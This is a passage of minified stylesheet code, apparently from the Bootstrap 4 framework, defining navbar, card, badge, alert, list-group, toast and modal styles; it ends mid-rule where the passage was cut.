.nav-item,.nav-justified>.nav-link{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;text-align:center}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{position:relative;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:center;align-items:center;-ms-flex-pack:justify;justify-content:space-between;padding:.5rem 1rem}.navbar .container,.navbar .container-fluid,.navbar .container-lg,.navbar .container-md,.navbar .container-sm,.navbar .container-xl{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:center;align-items:center;-ms-flex-pack:justify;justify-content:space-between}.navbar-brand{display:inline-block;padding-top:.3125rem;padding-bottom:.3125rem;margin-right:1rem;font-size:1.25rem;line-height:inherit;white-space:nowrap}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-nav{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link{padding-right:0;padding-left:0}.navbar-nav .dropdown-menu{position:static;float:none}.navbar-text{display:inline-block;padding-top:.5rem;padding-bottom:.5rem}.navbar-collapse{-ms-flex-preferred-size:100%;flex-basis:100%;-ms-flex-positive:1;flex-grow:1;-ms-flex-align:center;align-items:center}.navbar-toggler{padding:.25rem .75rem;font-size:1.25rem;line-height:1;background-color:transparent;border:1px solid transparent;border-radius:.25rem}.navbar-toggler:focus,.navbar-toggler:hover{text-decoration:none}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;content:"";background:no-repeat center center;background-size:100% 100%}@media (max-width:575.98px){.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid,.navbar-expand-sm>.container-lg,.navbar-expand-sm>.container-md,.navbar-expand-sm>.container-sm,.navbar-expand-sm>.container-xl{padding-right:0;padding-left:0}}@media (min-width:576px){.navbar-expand-sm{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-sm .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid,.navbar-expand-sm>.container-lg,.navbar-expand-sm>.container-md,.navbar-expand-sm>.container-sm,.navbar-expand-sm>.container-xl{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-sm .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}}@media (max-width:767.98px){.navbar-expand-md>.container,.navbar-expand-md>.container-fluid,.navbar-expand-md>.container-lg,.navbar-expand-md>.container-md,.navbar-expand-md>.container-sm,.navbar-expand-md>.container-xl{padding-right:0;padding-left:0}}@media (min-width:768px){.navbar-expand-md{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-md .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-md>.container,.navbar-expand-md>.container-fluid,.navbar-expand-md>.container-lg,.navbar-expand-md>.container-md,.navbar-expand-md>.container-sm,.navbar-expand-md>.container-xl{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-md .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}}@media (max-width:991.98px){.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid,.navbar-expand-lg>.container-lg,.navbar-expand-lg>.container-md,.navbar-expand-lg>.container-sm,.navbar-expand-lg>.container-xl{padding-right:0;padding-left:0}}@media (min-width:992px){.navbar-expand-lg{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-lg .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid,.navbar-expand-lg>.container-lg,.navbar-expand-lg>.container-md,.navbar-expand-lg>.container-sm,.navbar-expand-lg>.container-xl{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-lg .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}}@media (max-width:1199.98px){.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid,.navbar-expand-xl>.container-lg,.navbar-expand-xl>.container-md,.navbar-expand-xl>.container-sm,.navbar-expand-xl>.container-xl{padding-right:0;padding-left:0}}@media (min-width:1200px){.navbar-expand-xl{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-xl .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid,.navbar-expand-xl>.container-lg,.navbar-expand-xl>.container-md,.navbar-expand-xl>.container-sm,.navbar-expand-xl>.container-xl{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-xl .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}}.navbar-expand{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand>.container,.navbar-expand>.container-fluid,.navbar-expand>.container-lg,.navbar-expand>.container-md,.navbar-expand>.container-sm,.navbar-expand>.container-xl{padding-right:0;padding-left:0}.navbar-expand .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand>.container,.navbar-expand>.container-fluid,.navbar-expand>.container-lg,.navbar-expand>.container-md,.navbar-expand>.container-sm,.navbar-expand>.container-xl{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-light .navbar-brand{color:rgba(0,0,0,.9)}.navbar-light .navbar-brand:focus,.navbar-light .navbar-brand:hover{color:rgba(0,0,0,.9)}.navbar-light .navbar-nav .nav-link{color:rgba(0,0,0,.5)}.navbar-light .navbar-nav .nav-link:focus,.navbar-light .navbar-nav .nav-link:hover{color:rgba(0,0,0,.7)}.navbar-light .navbar-nav .nav-link.disabled{color:rgba(0,0,0,.3)}.navbar-light .navbar-nav .active>.nav-link,.navbar-light .navbar-nav .nav-link.active,.navbar-light .navbar-nav .nav-link.show,.navbar-light .navbar-nav .show>.nav-link{color:rgba(0,0,0,.9)}.navbar-light .navbar-toggler{color:rgba(0,0,0,.5);border-color:rgba(0,0,0,.1)}.navbar-light .navbar-toggler-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='30' height='30' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%280, 0, 0, 0.5%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.navbar-light .navbar-text{color:rgba(0,0,0,.5)}.navbar-light .navbar-text a{color:rgba(0,0,0,.9)}.navbar-light .navbar-text a:focus,.navbar-light .navbar-text a:hover{color:rgba(0,0,0,.9)}.navbar-dark .navbar-brand{color:#fff}.navbar-dark .navbar-brand:focus,.navbar-dark .navbar-brand:hover{color:#fff}.navbar-dark .navbar-nav .nav-link{color:rgba(255,255,255,.5)}.navbar-dark .navbar-nav .nav-link:focus,.navbar-dark .navbar-nav .nav-link:hover{color:rgba(255,255,255,.75)}.navbar-dark .navbar-nav .nav-link.disabled{color:rgba(255,255,255,.25)}.navbar-dark .navbar-nav .active>.nav-link,.navbar-dark .navbar-nav .nav-link.active,.navbar-dark .navbar-nav .nav-link.show,.navbar-dark .navbar-nav .show>.nav-link{color:#fff}.navbar-dark .navbar-toggler{color:rgba(255,255,255,.5);border-color:rgba(255,255,255,.1)}.navbar-dark .navbar-toggler-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='30' height='30' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%28255, 255, 255, 0.5%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.navbar-dark .navbar-text{color:rgba(255,255,255,.5)}.navbar-dark .navbar-text a{color:#fff}.navbar-dark .navbar-text a:focus,.navbar-dark .navbar-text a:hover{color:#fff}.card{position:relative;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;min-width:0;word-wrap:break-word;background-color:#fff;background-clip:border-box;border:1px solid rgba(0,0,0,.125);border-radius:.25rem}.card>hr{margin-right:0;margin-left:0}.card>.list-group{border-top:inherit;border-bottom:inherit}.card>.list-group:first-child{border-top-width:0;border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.card>.list-group:last-child{border-bottom-width:0;border-bottom-right-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.card>.card-header+.list-group,.card>.list-group+.card-footer{border-top:0}.card-body{-ms-flex:1 1 auto;flex:1 1 auto;min-height:1px;padding:1.25rem}.card-title{margin-bottom:.75rem}.card-subtitle{margin-top:-.375rem;margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link:hover{text-decoration:none}.card-link+.card-link{margin-left:1.25rem}.card-header{padding:.75rem 1.25rem;margin-bottom:0;background-color:rgba(0,0,0,.03);border-bottom:1px solid rgba(0,0,0,.125)}.card-header:first-child{border-radius:calc(.25rem - 1px) calc(.25rem - 1px) 0 0}.card-footer{padding:.75rem 1.25rem;background-color:rgba(0,0,0,.03);border-top:1px solid rgba(0,0,0,.125)}.card-footer:last-child{border-radius:0 0 calc(.25rem - 1px) calc(.25rem - 1px)}.card-header-tabs{margin-right:-.625rem;margin-bottom:-.75rem;margin-left:-.625rem;border-bottom:0}.card-header-pills{margin-right:-.625rem;margin-left:-.625rem}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:1.25rem;border-radius:calc(.25rem - 1px)}.card-img,.card-img-bottom,.card-img-top{-ms-flex-negative:0;flex-shrink:0;width:100%}.card-img,.card-img-top{border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.card-img,.card-img-bottom{border-bottom-right-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.card-deck .card{margin-bottom:15px}@media (min-width:576px){.card-deck{display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;margin-right:-15px;margin-left:-15px}.card-deck .card{-ms-flex:1 0 0%;flex:1 0 0%;margin-right:15px;margin-bottom:0;margin-left:15px}}.card-group>.card{margin-bottom:15px}@media (min-width:576px){.card-group{display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap}.card-group>.card{-ms-flex:1 0 0%;flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:not(:last-child) .card-header,.card-group>.card:not(:last-child) .card-img-top{border-top-right-radius:0}.card-group>.card:not(:last-child) .card-footer,.card-group>.card:not(:last-child) .card-img-bottom{border-bottom-right-radius:0}.card-group>.card:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:not(:first-child) .card-header,.card-group>.card:not(:first-child) .card-img-top{border-top-left-radius:0}.card-group>.card:not(:first-child) .card-footer,.card-group>.card:not(:first-child) .card-img-bottom{border-bottom-left-radius:0}}.card-columns .card{margin-bottom:.75rem}@media (min-width:576px){.card-columns{-webkit-column-count:3;-moz-column-count:3;column-count:3;-webkit-column-gap:1.25rem;-moz-column-gap:1.25rem;column-gap:1.25rem;orphans:1;widows:1}.card-columns .card{display:inline-block;width:100%}}.accordion{overflow-anchor:none}.accordion>.card{overflow:hidden}.accordion>.card:not(:last-of-type){border-bottom:0;border-bottom-right-radius:0;border-bottom-left-radius:0}.accordion>.card:not(:first-of-type){border-top-left-radius:0;border-top-right-radius:0}.accordion>.card>.card-header{border-radius:0;margin-bottom:-1px}.breadcrumb{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding:.75rem 1rem;margin-bottom:1rem;list-style:none;background-color:#e9ecef;border-radius:.25rem}.breadcrumb-item{display:-ms-flexbox;display:flex}.breadcrumb-item+.breadcrumb-item{padding-left:.5rem}.breadcrumb-item+.breadcrumb-item::before{display:inline-block;padding-right:.5rem;color:#6c757d;content:"/"}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:underline}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:none}.breadcrumb-item.active{color:#6c757d}.pagination{display:-ms-flexbox;display:flex;padding-left:0;list-style:none;border-radius:.25rem}.page-link{position:relative;display:block;padding:.5rem .75rem;margin-left:-1px;line-height:1.25;color:#007bff;background-color:#fff;border:1px solid #dee2e6}.page-link:hover{z-index:2;color:#0056b3;text-decoration:none;background-color:#e9ecef;border-color:#dee2e6}.page-link:focus{z-index:3;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.page-item:first-child .page-link{margin-left:0;border-top-left-radius:.25rem;border-bottom-left-radius:.25rem}.page-item:last-child .page-link{border-top-right-radius:.25rem;border-bottom-right-radius:.25rem}.page-item.active .page-link{z-index:3;color:#fff;background-color:#007bff;border-color:#007bff}.page-item.disabled .page-link{color:#6c757d;pointer-events:none;cursor:auto;background-color:#fff;border-color:#dee2e6}.pagination-lg .page-link{padding:.75rem 1.5rem;font-size:1.25rem;line-height:1.5}.pagination-lg .page-item:first-child .page-link{border-top-left-radius:.3rem;border-bottom-left-radius:.3rem}.pagination-lg .page-item:last-child .page-link{border-top-right-radius:.3rem;border-bottom-right-radius:.3rem}.pagination-sm .page-link{padding:.25rem .5rem;font-size:.875rem;line-height:1.5}.pagination-sm .page-item:first-child .page-link{border-top-left-radius:.2rem;border-bottom-left-radius:.2rem}.pagination-sm .page-item:last-child .page-link{border-top-right-radius:.2rem;border-bottom-right-radius:.2rem}.badge{display:inline-block;padding:.25em .4em;font-size:75%;font-weight:700;line-height:1;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25rem;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.badge{transition:none}}a.badge:focus,a.badge:hover{text-decoration:none}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.badge-pill{padding-right:.6em;padding-left:.6em;border-radius:10rem}.badge-primary{color:#fff;background-color:#007bff}a.badge-primary:focus,a.badge-primary:hover{color:#fff;background-color:#0062cc}a.badge-primary.focus,a.badge-primary:focus{outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.badge-secondary{color:#fff;background-color:#6c757d}a.badge-secondary:focus,a.badge-secondary:hover{color:#fff;background-color:#545b62}a.badge-secondary.focus,a.badge-secondary:focus{outline:0;box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.badge-success{color:#fff;background-color:#28a745}a.badge-success:focus,a.badge-success:hover{color:#fff;background-color:#1e7e34}a.badge-success.focus,a.badge-success:focus{outline:0;box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.badge-info{color:#fff;background-color:#17a2b8}a.badge-info:focus,a.badge-info:hover{color:#fff;background-color:#117a8b}a.badge-info.focus,a.badge-info:focus{outline:0;box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.badge-warning{color:#212529;background-color:#ffc107}a.badge-warning:focus,a.badge-warning:hover{color:#212529;background-color:#d39e00}a.badge-warning.focus,a.badge-warning:focus{outline:0;box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.badge-danger{color:#fff;background-color:#dc3545}a.badge-danger:focus,a.badge-danger:hover{color:#fff;background-color:#bd2130}a.badge-danger.focus,a.badge-danger:focus{outline:0;box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.badge-light{color:#212529;background-color:#f8f9fa}a.badge-light:focus,a.badge-light:hover{color:#212529;background-color:#dae0e5}a.badge-light.focus,a.badge-light:focus{outline:0;box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.badge-dark{color:#fff;background-color:#343a40}a.badge-dark:focus,a.badge-dark:hover{color:#fff;background-color:#1d2124}a.badge-dark.focus,a.badge-dark:focus{outline:0;box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.jumbotron{padding:2rem 1rem;margin-bottom:2rem;background-color:#e9ecef;border-radius:.3rem}@media (min-width:576px){.jumbotron{padding:4rem 2rem}}.jumbotron-fluid{padding-right:0;padding-left:0;border-radius:0}.alert{position:relative;padding:.75rem 1.25rem;margin-bottom:1rem;border:1px solid transparent;border-radius:.25rem}.alert-heading{color:inherit}.alert-link{font-weight:700}.alert-dismissible{padding-right:4rem}.alert-dismissible .close{position:absolute;top:0;right:0;z-index:2;padding:.75rem 1.25rem;color:inherit}.alert-primary{color:#004085;background-color:#cce5ff;border-color:#b8daff}.alert-primary hr{border-top-color:#9fcdff}.alert-primary .alert-link{color:#002752}.alert-secondary{color:#383d41;background-color:#e2e3e5;border-color:#d6d8db}.alert-secondary hr{border-top-color:#c8cbcf}.alert-secondary .alert-link{color:#202326}.alert-success{color:#155724;background-color:#d4edda;border-color:#c3e6cb}.alert-success hr{border-top-color:#b1dfbb}.alert-success .alert-link{color:#0b2e13}.alert-info{color:#0c5460;background-color:#d1ecf1;border-color:#bee5eb}.alert-info hr{border-top-color:#abdde5}.alert-info .alert-link{color:#062c33}.alert-warning{color:#856404;background-color:#fff3cd;border-color:#ffeeba}.alert-warning hr{border-top-color:#ffe8a1}.alert-warning .alert-link{color:#533f03}.alert-danger{color:#721c24;background-color:#f8d7da;border-color:#f5c6cb}.alert-danger hr{border-top-color:#f1b0b7}.alert-danger .alert-link{color:#491217}.alert-light{color:#818182;background-color:#fefefe;border-color:#fdfdfe}.alert-light hr{border-top-color:#ececf6}.alert-light .alert-link{color:#686868}.alert-dark{color:#1b1e21;background-color:#d6d8d9;border-color:#c6c8ca}.alert-dark hr{border-top-color:#b9bbbe}.alert-dark .alert-link{color:#040505}@-webkit-keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}.progress{display:-ms-flexbox;display:flex;height:1rem;overflow:hidden;line-height:0;font-size:.75rem;background-color:#e9ecef;border-radius:.25rem}.progress-bar{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;-ms-flex-pack:center;justify-content:center;overflow:hidden;color:#fff;text-align:center;white-space:nowrap;background-color:#007bff;transition:width .6s ease}@media (prefers-reduced-motion:reduce){.progress-bar{transition:none}}.progress-bar-striped{background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-size:1rem 1rem}.progress-bar-animated{-webkit-animation:progress-bar-stripes 1s linear infinite;animation:progress-bar-stripes 1s linear infinite}@media (prefers-reduced-motion:reduce){.progress-bar-animated{-webkit-animation:none;animation:none}}.media{display:-ms-flexbox;display:flex;-ms-flex-align:start;align-items:flex-start}.media-body{-ms-flex:1;flex:1}.list-group{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0;border-radius:.25rem}.list-group-item-action{width:100%;color:#495057;text-align:inherit}.list-group-item-action:focus,.list-group-item-action:hover{z-index:1;color:#495057;text-decoration:none;background-color:#f8f9fa}.list-group-item-action:active{color:#212529;background-color:#e9ecef}.list-group-item{position:relative;display:block;padding:.75rem 1.25rem;background-color:#fff;border:1px solid rgba(0,0,0,.125)}.list-group-item:first-child{border-top-left-radius:inherit;border-top-right-radius:inherit}.list-group-item:last-child{border-bottom-right-radius:inherit;border-bottom-left-radius:inherit}.list-group-item.disabled,.list-group-item:disabled{color:#6c757d;pointer-events:none;background-color:#fff}.list-group-item.active{z-index:2;color:#fff;background-color:#007bff;border-color:#007bff}.list-group-item+.list-group-item{border-top-width:0}.list-group-item+.list-group-item.active{margin-top:-1px;border-top-width:1px}.list-group-horizontal{-ms-flex-direction:row;flex-direction:row}.list-group-horizontal>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal>.list-group-item.active{margin-top:0}.list-group-horizontal>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}@media (min-width:576px){.list-group-horizontal-sm{-ms-flex-direction:row;flex-direction:row}.list-group-horizontal-sm>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-sm>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-sm>.list-group-item.active{margin-top:0}.list-group-horizontal-sm>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-sm>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width:768px){.list-group-horizontal-md{-ms-flex-direction:row;flex-direction:row}.list-group-horizontal-md>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-md>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-md>.list-group-item.active{margin-top:0}.list-group-horizontal-md>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-md>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width:992px){.list-group-horizontal-lg{-ms-flex-direction:row;flex-direction:row}.list-group-horizontal-lg>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-lg>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-lg>.list-group-item.active{margin-top:0}.list-group-horizontal-lg>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-lg>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width:1200px){.list-group-horizontal-xl{-ms-flex-direction:row;flex-direction:row}.list-group-horizontal-xl>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-xl>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-xl>.list-group-item.active{margin-top:0}.list-group-horizontal-xl>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-xl>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}.list-group-flush{border-radius:0}.list-group-flush>.list-group-item{border-width:0 0 1px}.list-group-flush>.list-group-item:last-child{border-bottom-width:0}.list-group-item-primary{color:#004085;background-color:#b8daff}.list-group-item-primary.list-group-item-action:focus,.list-group-item-primary.list-group-item-action:hover{color:#004085;background-color:#9fcdff}.list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#004085;border-color:#004085}.list-group-item-secondary{color:#383d41;background-color:#d6d8db}.list-group-item-secondary.list-group-item-action:focus,.list-group-item-secondary.list-group-item-action:hover{color:#383d41;background-color:#c8cbcf}.list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#383d41;border-color:#383d41}.list-group-item-success{color:#155724;background-color:#c3e6cb}.list-group-item-success.list-group-item-action:focus,.list-group-item-success.list-group-item-action:hover{color:#155724;background-color:#b1dfbb}.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#155724;border-color:#155724}.list-group-item-info{color:#0c5460;background-color:#bee5eb}.list-group-item-info.list-group-item-action:focus,.list-group-item-info.list-group-item-action:hover{color:#0c5460;background-color:#abdde5}.list-group-item-info.list-group-item-action.active{color:#fff;background-color:#0c5460;border-color:#0c5460}.list-group-item-warning{color:#856404;background-color:#ffeeba}.list-group-item-warning.list-group-item-action:focus,.list-group-item-warning.list-group-item-action:hover{color:#856404;background-color:#ffe8a1}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#856404;border-color:#856404}.list-group-item-danger{color:#721c24;background-color:#f5c6cb}.list-group-item-danger.list-group-item-action:focus,.list-group-item-danger.list-group-item-action:hover{color:#721c24;background-color:#f1b0b7}.list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#721c24;border-color:#721c24}.list-group-item-light{color:#818182;background-color:#fdfdfe}.list-group-item-light.list-group-item-action:focus,.list-group-item-light.list-group-item-action:hover{color:#818182;background-color:#ececf6}.list-group-item-light.list-group-item-action.active{color:#fff;background-color:#818182;border-color:#818182}.list-group-item-dark{color:#1b1e21;background-color:#c6c8ca}.list-group-item-dark.list-group-item-action:focus,.list-group-item-dark.list-group-item-action:hover{color:#1b1e21;background-color:#b9bbbe}.list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#1b1e21;border-color:#1b1e21}.close{float:right;font-size:1.5rem;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.5}.close:hover{color:#000;text-decoration:none}.close:not(:disabled):not(.disabled):focus,.close:not(:disabled):not(.disabled):hover{opacity:.75}button.close{padding:0;background-color:transparent;border:0}a.close.disabled{pointer-events:none}.toast{-ms-flex-preferred-size:350px;flex-basis:350px;max-width:350px;font-size:.875rem;background-color:rgba(255,255,255,.85);background-clip:padding-box;border:1px solid rgba(0,0,0,.1);box-shadow:0 .25rem .75rem rgba(0,0,0,.1);opacity:0;border-radius:.25rem}.toast:not(:last-child){margin-bottom:.75rem}.toast.showing{opacity:1}.toast.show{display:block;opacity:1}.toast.hide{display:none}.toast-header{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;padding:.25rem .75rem;color:#6c757d;background-color:rgba(255,255,255,.85);background-clip:padding-box;border-bottom:1px solid rgba(0,0,0,.05);border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.toast-body{padding:.75rem}.modal-open{overflow:hidden}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal{position:fixed;top:0;left:0;z-index:1050;display:none;width:100%;height:100%;overflow:hidden;outline:0}.modal-dialog{position:relative;width:auto;margin:.5rem;pointer-events:none}.modal.fade .modal-dialog{transition:-webkit-transform .3s ease-out;transition:transform .3s ease-out;transition:transform .3s ease-out,-webkit-transform .3s ease-out;-webkit-transform:translate(0,-50px);transform:translate(0,-50px)}@media (prefers-reduced-motion:reduce){.modal.fade .modal-dialog{transition:none}}.modal.show .modal-dialog{-webkit-transform:none;transform:none}.modal.modal-static .modal-dialog{-webkit-transform:scale(1.02);transform:scale(1.02)}.modal-dialog-scrollable{display:-ms-flexbox;display:flex;max-height:calc(100% - 1rem)}.modal-dialog-scrollable .modal-content{max-height:calc(100vh - 1rem);overflow:hidden}.modal-dialog-scrollable .modal-footer,.modal-dialog-scrollable .modal-header{-ms-flex-negative:0;flex-shrink:0}.modal-dialog-scrollable .modal-body{overflow-y:auto}.modal-dialog-centered{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;min-height:calc(100% - 1rem)}.modal-dialog-centered::before{display:block;height:calc(100vh - 1rem);height:-webkit-min-content;height:-moz-min-content;height:min-content;content:""}.modal-dialog-centered.modal-dialog-scrollable{-ms-flex-direction:column;flex-direction:column;-ms-flex-pack:center;justify-content:center;height:100%}.modal-dialog-centered.modal-dialog-scrollable .modal-content{max-height:none}.modal-dialog-centered.modal-dialog-scrollable::before{content:none}.modal-content{position:relative;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;width:100%;pointer-events:auto;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.2);border-radius:.3rem;outline:0}.modal-backdrop{position:fixed;top:0;left:0;z-index:1040;width:100vw;height:100vh;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:.5}.modal-header{display:-ms-flexbox;display:flex;-ms-flex-align:start;align-items:flex-start;-ms-flex-pack:justify;justify-content:space-between;padding:1rem 1rem;border-bottom:1px solid #dee2e6;border-top-left-radius:calc(.3rem - 1px);border-top-right-radius:calc(.3rem - 1px)}.modal-header .close{padding:1rem 1rem;margin:-1rem -1rem -1rem auto}.modal-title{margin-bottom:0;line-height:1.5}.modal-body{position:relative;-ms-flex:1 1 auto;flex:1 1 auto;padding:1rem}.modal-footer{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:center;align-items:center;-ms-flex-pack:end;justify-content:flex-end;padding:.75rem;border-top:1px solid #dee2e6;border-bottom-right-radius:calc(.3rem - 1px);border-bottom-left-radius:calc(.3rem - 1px)}.modal-footer>*{margin:.25rem}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:576px){.modal-dialog{max-width:500px;margin:1.75rem auto}.modal-dialog-scrollable{max-height:calc(100% - 3.5rem)}.modal-dialog-scrollable 